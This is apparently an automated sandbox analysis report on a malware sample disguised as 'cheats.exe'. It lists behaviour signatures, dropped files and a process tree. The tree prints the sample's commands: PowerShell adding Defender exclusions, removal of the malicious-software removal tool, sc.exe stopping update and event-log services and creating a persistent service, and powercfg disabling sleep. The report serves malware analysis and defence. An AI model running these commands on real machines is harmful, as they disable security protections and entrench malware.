Analysis

  • max time kernel
    149s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/07/2026, 15:14

General

  • Target
    cheats.exe
  • Size 2.7MB
  • Sample260701-smrdfaay2z
  • SHA256 4e555399070cedf9d0613b5829bcb9872e9f73eb0a00222738fbf38ae34b1792
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 2 IoCs
  • Stops running service(s) 4 TTPs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 46 IoCs
  • Modifies registry class 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cheats.exe
    "C:\Users\Admin\AppData\Local\Temp\cheats.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4488
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2092
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\start.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\start.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3920
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2096
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1668
          • C:\Windows\System32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            5⤵
              PID:5456
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            4⤵
            • Launches sc.exe
            PID:5640
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            4⤵
            • Launches sc.exe
            PID:1776
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            4⤵
            • Launches sc.exe
            PID:4108
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            4⤵
            • Launches sc.exe
            PID:1116
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            4⤵
            • Launches sc.exe
            PID:3896
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4728
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4092
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:5160
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3408
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe delete "C9OKA88T"
            4⤵
            • Launches sc.exe
            PID:704
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe create "C9OKA88T" binpath= "C:\ProgramData\srty3fw52h6x\c3282nzdiesg.exe" start= "auto"
            4⤵
            • Launches sc.exe
            PID:2972
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop eventlog
            4⤵
            • Launches sc.exe
            PID:5668
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe start "C9OKA88T"
            4⤵
            • Launches sc.exe
            PID:3244
    • C:\ProgramData\srty3fw52h6x\c3282nzdiesg.exe
      C:\ProgramData\srty3fw52h6x\c3282nzdiesg.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3412
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4928
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2020
        • C:\Windows\System32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:4468
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:1008
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:2592
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:3120
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:2468
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:5588
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4280
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1748
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1580
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:5880
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:1060
          • C:\Windows\system32\dwm.exe
            dwm.exe
            2⤵
              PID:3128

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                Run.vbs

                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs
                • Size 113B
                • SHA256 e5cd1a0635e7be81e7bd06d1171a7a6a4ed2ab659b161c070c1ca45aed33eb97
                • MD5 SHA1 SHA512 TLSH

                start.exe

                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\start.exe
                • Size 3.1MB
                • SHA256 563f52f1145a359d2c26234a596fbcd3879c0147645a87cca32fa17f058ef42b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                __PSScriptPolicyTest_etrmbr2q.xme.ps1

                • Path C:\Windows\SystemTemp\__PSScriptPolicyTest_etrmbr2q.xme.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                memory/1060-31-0x0000000140000000-0x0000000140035000-memory.dmp

                memory/1060-32-0x0000000140000000-0x0000000140035000-memory.dmp

                memory/1060-33-0x0000000140000000-0x0000000140035000-memory.dmp

                memory/1060-30-0x0000000140000000-0x0000000140035000-memory.dmp

                memory/1060-29-0x0000000140000000-0x0000000140035000-memory.dmp

                memory/2096-18-0x000001A67F780000-0x000001A67F832000-memory.dmp

                memory/2096-19-0x000001A67F550000-0x000001A67F55A000-memory.dmp

                memory/2096-17-0x000001A67F760000-0x000001A67F77E000-memory.dmp

                memory/2096-12-0x000001A67EBC0000-0x000001A67EBE2000-memory.dmp

                memory/3128-37-0x0000000140000000-0x000000014080E000-memory.dmp

                memory/3128-38-0x0000000140000000-0x000000014080E000-memory.dmp

                memory/3128-36-0x0000000140000000-0x000000014080E000-memory.dmp